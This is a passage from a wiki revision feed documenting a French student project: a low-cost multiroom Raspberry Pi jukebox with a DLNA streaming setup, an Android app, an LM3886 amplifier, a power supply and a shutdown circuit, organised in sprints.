'''Planning prévisionnel mis à jour :'''&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4 Gantt.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
===Semaine 1 (21/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons fait des recherches sur des solutions déjà existantes pour diffuser de la musique dans plusieurs pièces d'une maison. Samsung propose déjà un système permettant de diffuser plusieurs flux différents dans différentes pièces via le réseau wifi du domicile, cependant le prix pour un module d'entrée de gamme est d'environ 150€. &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons également pensé à une première architecture matérielle de notre projet qui consisterait en :&lt;br /&gt;
&lt;br /&gt;
* La Raspberry pi qui recevrait le flux via le réseau wifi&lt;br /&gt;
* Une carte son USB pour améliorer la qualité du signal&lt;br /&gt;
* Un amplificateur de puissance pour amplifier le signal en sortie de la carte son&lt;br /&gt;
* Des enceintes passive pour diffuser la musique&lt;br /&gt;
&lt;br /&gt;
Voici une première version du devis pour un module wifi avec deux enceintes : [https://docs.google.com/spreadsheets/d/1zY-wZ5dp6-4V5MpXp7nPTk747dZ_c5XflT7HJquc2lw/edit#gid=0 lien]&lt;br /&gt;
&lt;br /&gt;
===Semaine 2 (28/09/2015)===&lt;br /&gt;
&lt;br /&gt;
Nous avons pu discuter avec Rodolphe Astori et Alexandre Boé ce qui nous a permis de définir plus précisément la teneur du projet. L'objectif principal de ce projet est de développer une solution &amp;quot;low cost&amp;quot; que n'importe quel étudiant pourrait réaliser au Fablab, tout cela pour un faible coût (moins de 100 euros).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
En effet, ce type de système déjà existants sur le marché présente un coût très important, allant de 200 euros pour Sonos et Bose jusqu'à 400 euros '''par haut-parleur'''.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les points clés du projet seraient :&lt;br /&gt;
* Entièrement réalisable soi-même&lt;br /&gt;
* Coût maîtrisé&lt;br /&gt;
* Modulable&lt;br /&gt;
* Possibilité de pouvoir choisir la gamme de chaque module (amplificateur de meilleur qualité mais plus cher...)&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Fonctionnement par SPRINT===&lt;br /&gt;
[[Fichier:P4_Scrum_logo.jpg|thumb|right|Logo Scrum]]&lt;br /&gt;
Nous nous sommes également convenus avec Rodolphe Astori de procéder par '''&amp;quot;sprint&amp;quot;''', c'est à dire d'essayer de réaliser un système fonctionnel le plus rapidement possible, et de faire un point sur notre réalisation au bout de 15 jours. Si au bout de ces 15 jours, le projet prend la direction voulue, on continue dans cette voie, sinon on revoit le cahier des charges. &lt;br /&gt;
Il est également essentiel de faire des points très régulièrement (une à deux fois par semaine) pour faire ressortir les éventuelles difficultés rencontrées. &amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #1 (15/10/2015) &amp;lt;br&amp;gt;Objectif : Envoyer un flux musical vers une enceinte déjà existante===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
A la fin des recherches préliminaires nous avons alors défini les objectifs à atteindre en fin de sprint 1. Il s’agissait d’arriver à streamer une musique depuis un appareil quelconque, vers une Raspberry Pi Connectée à une enceinte.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons alors pris la décision de partir sur une application destinée à fonctionner sur un PC. Nous avons choisi de développer cette application en C++, en utilisant le framework Qt, car il permet la réalisation de programmes graphiques sur toutes les plates formes.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a alors commencé à développer une application en C++ tout en cherchant des méthodes pour arriver à streamer simplement sur la Raspberry Pi. Une des voies envisagée était d’utiliser une librairie VLC intégrable à Qt disponible sur le site vlc-qt.tano.si. L’avantage de passer par VLC pour streamer un flux musical est que c’est un logiciel open source, disponible à la fois sur Windows, Linux, Mac OS et qui s’intègre parfaitement à Qt.&amp;lt;br&amp;gt;&lt;br /&gt;
On a également réussi à streamer un flux musical depuis VLC, ainsi que depuis un Mac, en installant SharePort, vers la Raspberry Pi.&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
[[Fichier:P4_Sprint1.jpg|thumb|right|400px|Stream depuis un Mac]]&lt;br /&gt;
A la fin du sprint, on a alors effectué un retour sur ce qu’on avait fait avec nos tuteurs ainsi que Jean-Eude Laurenge. On n’a malheureusement pu faire la démonstration que du stream depuis un Mac.&amp;lt;br&amp;gt;&lt;br /&gt;
On a alors rediscuté de l’avancement du projet et des objectifs futurs. En effet, la démonstration n’était pas convaincante, et assez restreinte par rapport au résultat attendu.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
On a déterminé ensemble qu’il était alors nécessaire pour le sprint 2 de :&lt;br /&gt;
*Réaliser une veille technologique complète sur les solutions existantes&lt;br /&gt;
*Se concentrer sur l’application mobile dans un premier temps.&lt;br /&gt;
En effet, l’intérêt principal de pouvoir streamer de la musique dans plusieurs pièces à la fois est de pouvoir contrôler la musique tout en se déplaçant. L’intérêt de contrôler le flux musical à l’aide d’un PC est donc assez limité.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #2 (10/11/2015) &amp;lt;br&amp;gt;Objectif : Envoyer deux flux musicaux différents vers deux enceintes déjà existantes===&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Veille technologique=====&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps il s’agissait de réaliser une veille technologique décrivant les solutions existantes autant au niveau logiciel et matériel DIY que celles commercialisées par des marques connues. &amp;lt;br&amp;gt;&lt;br /&gt;
Il fallait également arriver à streamer de la musique vers au moins deux enceintes en utilisant les solutions trouvées.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Les solutions commercialisées (sous le nom d'enceintes multiroom) sont les suivantes :&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_veilletechno.png|500px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Pi MusicBox=====&lt;br /&gt;
&lt;br /&gt;
Pour la Raspberry Pi nous avons choisi d’installer un '''OS Linux modifié nommé MusicBox'''. Ce système d’exploitation est prévu pour gérer les flux musicaux. &amp;lt;br&amp;gt;&lt;br /&gt;
En effet, il intègre un '''serveur DLNA''', [[Fichier:P4_DLNA_logo.jpg|thumb|right|200px]] la possibilité d’y associer un compte Spotify ou encore de streamer un flux Youtube ou une musique située sur une clé USB branchée à la Raspberry. &amp;lt;br&amp;gt;&lt;br /&gt;
Il dispose également d’une interface web qui permet de contrôler facilement tous les flux et son code est entièrement open source. C’est donc la solution idéale pour streamer facilement de la musique depuis un mobile en utilisant le DLNA.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous affichons directement l'interface de MusicBox depuis un ordinateur connecté au même réseau Wi-Fi :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_MUSICBOX.png|500px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Le protocole de streaming utilisé par MusicBox est le protocole [https://fr.wikipedia.org/wiki/Universal_Plug_and_Play UPnP] (pour Universal Plug and Play), un des nombreux protocoles de la [https://fr.wikipedia.org/wiki/Digital_Living_Network_Alliance Digital Living Network Alliance].&amp;lt;br&amp;gt;&lt;br /&gt;
 [[Fichier:P4_BUBBLEUPNP.png|60px|thumb|right|Application Android  BubbleUPnP]]&lt;br /&gt;
&lt;br /&gt;
Nous téléchargeons donc une application Android supportant le protocole '''UPnP''' pour tester l'envoi d'un flux audio du téléphone vers &amp;quot;BedRoom1&amp;quot; : [https://play.google.com/store/apps/details?id=com.bubblesoft.android.bubbleupnp&amp;amp;hl=fr BubbleUPnP].&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notre but sera maintenant de créer une application multi-plateformes disposant des mêmes fonctionnalités.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Réunion====&lt;br /&gt;
&lt;br /&gt;
Nous avons pu effectuer une démonstration d’une chaine complète. Nous avons réussi à diffuser deux musiques différentes depuis un même smartphone vers deux enceintes séparées.&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:P4_Sprint2.png|700px]]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
L’objectif fixé en début de sprint est donc atteint et nous avons pu définir de nouveaux objectifs pour le sprint suivant :&lt;br /&gt;
*Réaliser notre propre application et arriver à streamer une musique vers une enceinte&lt;br /&gt;
*Réaliser le PCB du circuit d’amplification à base de LM3886&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #3 (05/01/2016) &amp;lt;br&amp;gt;Objectif : Ampli audio &amp;amp; Réalisation de notre propre application Android===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
=====Application Android=====&lt;br /&gt;
&lt;br /&gt;
Pour le sprint 3 nous nous sommes concentrés sur la réalisation d’une application Android. En effet, comme iOS dispose d’une solution intégrée déjà existante nous avons jugé n’il n’était pas nécessaire de développer une application dédiée.[[Fichier:P4_Android.jpg|200px|thumb|right|Notre application Android]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons choisi de développer notre application en utilisant Android Studio. Cette application est donc réalisée en Java, et nous avons fait en sorte qu’elle soit compatible avec tous les téléphones disposant de la version 4.1 (Jelly Bean) ou plus. Cela permet qu’un maximum d’utilisateurs puisse profiter de l’application tout en la rendant compatible avec les versions récentes.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Dans un premier temps nous avons créé une activity '''Android''' standard disposant d’un panneau latéral qui nous permettra par la suite de rajouter les fonctions de recherche de serveur DLNA.&lt;br /&gt;
Dans un second temps nous avons créé une classe '''Song''' qui contient les variables liées à chaque chanson et les méthodes nécessaires pour pouvoir les manipuler.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
On a ensuite implanté une barre permettant de contrôler la lecture (lecture, pause, chanson suivante…). Les contrôles étant déjà présents dans le service « Media Player » il était seulement nécessaire de rajouter le widget contenant notre barre à l’activité principale puis de lier les boutons aux contrôles.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Il a ensuite été nécessaire de créer une autre classe contenant les méthodes permettant de manipuler les chansons. Cette classe, nommée '''MusicService''', permet de lier la liste des chansons que l’on a récupérées dans l’'''Activity''' principale au lecteur de média. En effet, le lecteur de média est un service sous Android et est donc indispensable à lier si l’on veut lire un média quelconque.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Une fois ces étapes faites, nous avons affiché cette liste dans l’activité principale et l’avons trié par ordre alphabétique. On initialise alors le service permettant de lire les médias et on lit l’action de toucher une chanson dans la liste au démarrage de ce service. On a alors une première version du lecteur musical, qui pour l’instant est limitée à la lecture en local.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur Audio=====&lt;br /&gt;
&lt;br /&gt;
Nous avons également réalisé le layout des deux PCB du module 2 : un pour l’amplification à base de LM3886 et un pour le circuit d’alimentation. Afin de dissiper sa chaleur importante lors de l’utilisation de l’amplificateur, nous avons commandé un dissipateur thermique sur lequel nous visserons le LM3886.[[Fichier:P4_Ampli_Schema.jpg|300px|thumb|right|Schema audio à base de LM3886]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous nous sommes fortement inspirés de l’amplificateur ci-contre où les informations sur le [http://www.schema-electronique.net/2011/12/un-amplificateur-final-hi-fi-de-40-70.html site correspondant] sont très détaillées et nous permettent de comprendre l’importance de beaucoup de composants dans un amplificateur audio.  &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Par rapport au circuit d’origine, nous avons ajouté une LED de fonctionnement de l’amplificateur, un switch ON/OFF ainsi qu’un potentiomètre rotatif pour pouvoir agir sur le volume sonore.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Pour l’entrée audio, l’utilisateur trouvera en façade de l’amplificateur une entrée stéréo RCA ainsi qu’une entrée jack 3.6 mm. Pour la sortie, nous avons prévu un bornier standard pour connexion de haut-parleur ainsi qu’une sortie jack femelle 3.6 mm.&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BornierClassic.jpg|170px|Bornier 2.1]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
La version quasiment finale du PCB est donc la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;[[Fichier:P4_PCB_Ampli.PNG|470px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''Principe de l'Amplificateur Audio'''&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_Ampli_Principe.png|600px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons commandé &lt;br /&gt;
*les derniers connecteurs nécessaires à la réalisation de cette carte (et la carte d'alimentation (carte 2/2))&amp;lt;br&amp;gt;&lt;br /&gt;
*un '''dissipateur thermique''' pour dissiper la chaleur du LM3886.&amp;lt;br&amp;gt;&lt;br /&gt;
[http://www.audiophonics.fr/fr/kits-modules-diy-radiateurs/radiateur-dissipateur-thermique-anodise-noir-78x47x30mm-p-9299.html Dissipateur thermique 70x40x10(Lxlxh)(mm) ]&lt;br /&gt;
&lt;br /&gt;
====Etat en fin de sprint====&lt;br /&gt;
&lt;br /&gt;
Les objectifs de ce sprint n’ont donc pas tout à fait été atteints :&lt;br /&gt;
*Le lecteur Android ne permet pour l’instant que de lire localement les musiques&lt;br /&gt;
*Le PCB n’a pas encore été tiré&lt;br /&gt;
Il est donc nécessaire pour le sprint suivant de corriger au plus vite ces deux points de manière à ce que le projet puisse aboutir. Les objectifs pour le sprint suivant sont donc de faire en sorte d’arriver à streamer un flux musical vers une enceinte avec notre application ainsi que de tirer les PCB, les souder et commencer les tests.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Sprint #4 (18/01/2016) &amp;lt;br&amp;gt;Objectif : Envoyer une musique via la chaine de transmission avec notre ampli audio===&lt;br /&gt;
&lt;br /&gt;
====Préparation====&lt;br /&gt;
&lt;br /&gt;
'''Partie Hardware'''&lt;br /&gt;
&lt;br /&gt;
=====Amplificateur=====&lt;br /&gt;
&lt;br /&gt;
La version finale de notre carte d'amplificateur est la suivante :&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
[[Fichier:Ampli_2D.png|400px]] [[Fichier:Ampli_Photo.jpg|400px]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Un dissipateur a été fixé sur l'amplificateur (composant rectangulaire noir visible en haut de la carte sur la photo).&amp;lt;br&amp;gt;&lt;br /&gt;
Nous avons testé la carte avec une alimentation de labo +/-25V. Elle est tout à fait fonctionnelle.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Alimentation=====&lt;br /&gt;
&lt;br /&gt;
Dans la version finale du projet, l'amplificateur devra être alimenté en +/-25V avec une carte d'alimentation intégrée au module.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Schema-allimentation.jpg|thumb|330px|Schéma de base d'une alimentation]]&lt;br /&gt;
&lt;br /&gt;
Nous nous sommes alors basés sur un schéma classique d'alimentation (pour passer d'un courant alternatif à un courant continu).&amp;lt;br&amp;gt;&lt;br /&gt;
Son principe de fonctionnement est le suivant :&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le signal fourni par les bobines secondaires du transformateur 220/18V est le suivant :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_1.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après double redressement par les bobines, on se retrouve avec ce signal :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_2.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après filtrage par les condensateurs, on se retrouve avec un signal lissé :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Principe_Alim_3.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La différence entre les tensions maximum et minimum de la tension au borne des condensateurs est appelée tension de &amp;quot;ronflement&amp;quot;.&amp;lt;br&amp;gt;&lt;br /&gt;
Notre but est donc de diminuer cet écart afin d'obtenir une alimentation la plus stable possible pour notre amplificateur, au risque de détériorer le matériel !&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On a donc ajouté un filtre CRC, visible sur le schéma suivant (schéma final de notre alimentation) :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:Supply Schematics.png|700px]]&amp;lt;br&amp;gt;&lt;br /&gt;
NB : Le composant &amp;quot;KB1&amp;quot; est notre pont de Graetz (pont de diodes).&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Afin de bien dimensionner les composants, nous avons effectué diverses simulations sous Altium Designer.&amp;lt;br&amp;gt;&lt;br /&gt;
On ne se basera que sur les composants de la moitié supérieure (C1, C3, R1, C5 et C7) car les résultats seront les mêmes pour les autres puisqu'il s'agit d'une alimentation symétrique.&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur capacitive d'entrée du filtre (C1+C3)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaEntree.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus elle est élevée, plus la tension efficace de sortie sera élevée.&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur de R1&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceResistance.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Moins la résistance est élevée, plus la tension de sortie est importante. (Mais on augmente le ripple)&amp;lt;br&amp;gt;&lt;br /&gt;
* Influence de la valeur capacitive de sortie du filtre (C5+C7)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:InfluenceCapaSortie.png|400px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Plus la capacité de sortie est importante, plus on limite le ripple.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Boîtier du module=====&lt;br /&gt;
&lt;br /&gt;
Nous avons choisi de réaliser le boîtier du module en bois. En effet, cela nous permet d'utiliser la découpeuse laser du Fabricarium, et le rendu final est très esthétique.&amp;lt;br&amp;gt;&lt;br /&gt;
Il nous a suffit de nous rendre sur un site de [http://carrefour-numerique.cite-sciences.fr/fablab/wiki/doku.php?id=projets:generateur_de_boites génération de boîtes]. Une fois le fichier sauvegardé, nous y avons ajouté des trous de manière à y intégrer &lt;br /&gt;
* des LEDs diverses [[Fichier:SVG_Boite_P4.png|thumb|350px|SVG de la boite]]&lt;br /&gt;
* des boutons&lt;br /&gt;
* le bouton principal de volume sonore&lt;br /&gt;
* Un haut-parleur passif interne au module&lt;br /&gt;
* Un bornier pour y connecter un haut-parleur passif externe (8 ohms/50 Watts maxi)&lt;br /&gt;
* Un switch pour passer du haut-parleur externe au haut-parleur interne&lt;br /&gt;
* Le connecteur mâle IEC pour l'alimentation de l'amplificateur&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:P4_BoiteFinale.jpg|thumb|350px|Boite Finale]]&lt;br /&gt;
&lt;br /&gt;
ainsi qu'un design musical.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Toutes les instructions d'utilisation de la découpeuse laser du Fabricarium sont disponibles [http://www.fabricarium.fr/mediawiki-1.23.5/index.php?title=Speedy_400 à cette adresse].&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=====Circuit ON/OFF=====&lt;br /&gt;
&lt;br /&gt;
La Raspberry Pi étant à l'intérieur de la boîte et une connexion SSH non prévue dans le cahier des charges du projet, il est nécessaire de faire en sorte que celle-ci puisse être éteinte de manière propre.&amp;lt;br&amp;gt;&lt;br /&gt;
En effet, l'extinction &amp;quot;brutale&amp;quot; pourrait très facilement corrompre la carte SD présente sur la Raspberry Pi, et ainsi détruire toutes les configurations préalablement effectuées !&amp;lt;br&amp;gt;&lt;br /&gt;
Pour &amp;quot;extinction brutale&amp;quot;, comprenez&lt;br /&gt;
* Débranchement de la prise d'alimentation principale par l'utilisateur&lt;br /&gt;
* Coupure de courant&lt;br /&gt;
&lt;br /&gt;
Nous avons donc pensé à un circuit à base de condensateurs et de relais :&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DriverButtons_Schematics_2.png|700px]]&amp;lt;br&amp;gt;&lt;br /&gt;
Toute la partie '''non encadrée en rouge''' est le circuit ON/OFF &amp;quot;normal&amp;quot;, comprenant les boutons sur lesquels l'utilisateur agira.&amp;lt;br&amp;gt;&lt;br /&gt;
La partie '''encadrée en rouge''' est le circuit de sécurité (lors d'une coupure de courant ou lorsque la prise est débranchée sans avoir appuyé sur OFF)&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Explication du circuit ON/OFF &amp;quot;normal&amp;quot; :''' &amp;lt;br&amp;gt;&lt;br /&gt;
Ce PCB devra être soudé entre la prise de courant et la RPi (au milieu donc d'un câble USB coupé en 2)&amp;lt;br&amp;gt;&lt;br /&gt;
*Quand le relai (REL1) est dans son état inactif (sur 1), le 5V arrivant de la prise de courant va charger le condensateur (C1).&lt;br /&gt;
*Quand le condensateur sera assez chargé, il activera les transistors 1 et 2 qui connecteront la bobine du relai (REL1) à la masse.&lt;br /&gt;
*Quand on appuiera sur le bouton ON (ON_BUTTON), le relai passera de 1 à 10 (dans son autre état), la RPi sera donc alimentée. Cependant, le condensateur se décharge ! Et donc les transistors seront désactivés et le relai aussi --&amp;gt; La RPi ne sera donc plus alimentée.&amp;lt;br&amp;gt;&lt;br /&gt;
Pour éviter cela, on active une sortie de la RPi (Pin 3 de &amp;quot;To GPIO) pour fournir du 3.3V, et donc maintenir le condensateur chargé, donc le relai actif sur la pin 10. La RPi reste donc bien alimentée.&lt;br /&gt;
*Pour l'extinction, on ajoute un retour (pin 6 de &amp;quot;To GPIO&amp;quot;) qui va envoyer la valeur 1 lorsqu'on presse le bouton OFF (OFF_BUTTON). La LED (OFF_LED) s'allumera pour signaler à l'utilisateur que la RPi est en train de s'éteindre. Un script s'exécutera en même temps interrompant les programmes proprement, puis stoppant le 3.3V.&lt;br /&gt;
*Le condensateur se décharge donc, puis au bout d'environ 1 minute (temps réglé en fonction de la valeur du condensateur (C1)), les transistors sont désactivés, le relai (REL1) le sera donc aussi (en position 1), la RPi ne sera plus alimentée.&lt;br /&gt;
*On revient au début du cycle, le condensateur va se recharger, il ne restera plus qu'à presser le bouton ON (ON_BUTTON) quand on souhaitera allumer de nouveau la RPi.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Explication du circuit de sécurité (encadré en rouge) :''' &amp;lt;br&amp;gt;&lt;br /&gt;
* Un boîtier de piles (accessible de l'extérieur) 4.5V est connecté à ce circuit (Suffisant pour alimenter la Raspberry Pi assez de temps pour l'extinction).&lt;br /&gt;
* La bobine du relai (REL2) en haut du schéma est directement alimentée par le 5V de la prise de courant. Lorsque ce relai (REL2) est alimenté, il est dans l'état 10, côté connecté à rien. Dans cette situation, rien de spécial ne se passe.&lt;br /&gt;
* Si la prise est débranchée ou s'il y a une coupure de courant, le relai (REL2) passera dans l'autre état (état 1) pour laisser les piles alimenter à leur tour la Raspberry Pi.&lt;br /&gt;
* Un signal est aussitôt envoyé à la Raspberry Pi (pin 2 de &amp;quot;To GPIO&amp;quot;) pour lancer le script d'extinction de celle-ci.&lt;br /&gt;
* Lorsque la Raspberry Pi sera éteinte, elle ne fournira plus de courant au condensateur (C2) qui au bout de quelques secondes désactivera le transistor (T3) (tout en haut à droite). Par conséquent, les piles ne seront plus connectées à la Raspberry ce qui les préservera en stoppant leur fourniture de courant inutile.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Le PCB associé (réalisé sous Altium) est le suivant : (il a déjà été testé et fonctionne correctement)&amp;lt;br&amp;gt;&lt;br /&gt;
(Face TOP / Face BOTTOM)&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DriverButtons_3D_TOP.png|300px]] [[Fichier:DriverButtons_3D_BOT.png|299px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt;***REVISION B*** :&amp;lt;br&amp;gt;&lt;br /&gt;
Transistor T3 (qui connecte la RPi à la masse) en mode passant dès le branchement de la prise 5V (dans cette version, le transistor est donc déjà passant avant même que la RPi soit allumée. Evite les bugs de fonctionnement : &amp;lt;/span&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DriverButtonsREVB_Schematics.png|500px]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[Fichier:DriverButtonsREVB_3D_TOP.png|200px]] [[Fichier:DriverButtonsREVB_3D_BOT.png|199px]]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:DriverButtonsREVB_3D_BOT.png&amp;diff=27133</id>
		<title>Fichier:DriverButtonsREVB 3D BOT.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:DriverButtonsREVB_3D_BOT.png&amp;diff=27133"/>
				<updated>2016-02-13T23:47:47Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:DriverButtonsREVB_3D_TOP.png&amp;diff=27132</id>
		<title>Fichier:DriverButtonsREVB 3D TOP.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:DriverButtonsREVB_3D_TOP.png&amp;diff=27132"/>
				<updated>2016-02-13T23:47:29Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:DriverButtonsREVB_Schematics.png&amp;diff=27131</id>
		<title>Fichier:DriverButtonsREVB Schematics.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Fichier:DriverButtonsREVB_Schematics.png&amp;diff=27131"/>
				<updated>2016-02-13T23:46:14Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Jherin12</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27130</id>
		<title>P4 Jukebox multi-pièces</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=P4_Jukebox_multi-pi%C3%A8ces&amp;diff=27130"/>
				<updated>2016-02-13T19:44:44Z</updated>
		
		<summary type="html">&lt;p&gt;Jherin12 : /* Circuit ON/OFF */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Cahier des charges==&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
====Contexte====&lt;br /&gt;
&lt;br /&gt;
La diffusion de musique dans différentes pièces d'une maison est problématique si l'on veut avoir une source. Il serait possible de tirer des câbles mais cette solution n'est ni esthétique ni pratique (réseau peu reconfigurable).&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
Réaliser une plateforme permettant de jouer de la musique dans différentes pièces.&lt;br /&gt;
&amp;lt;br&amp;gt;[[Fichier:P4_Presentation_Modules.png|650px]]&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
&lt;br /&gt;
Pour arriver au bout de ce projet, il conviendra de développer :&lt;br /&gt;
&lt;br /&gt;
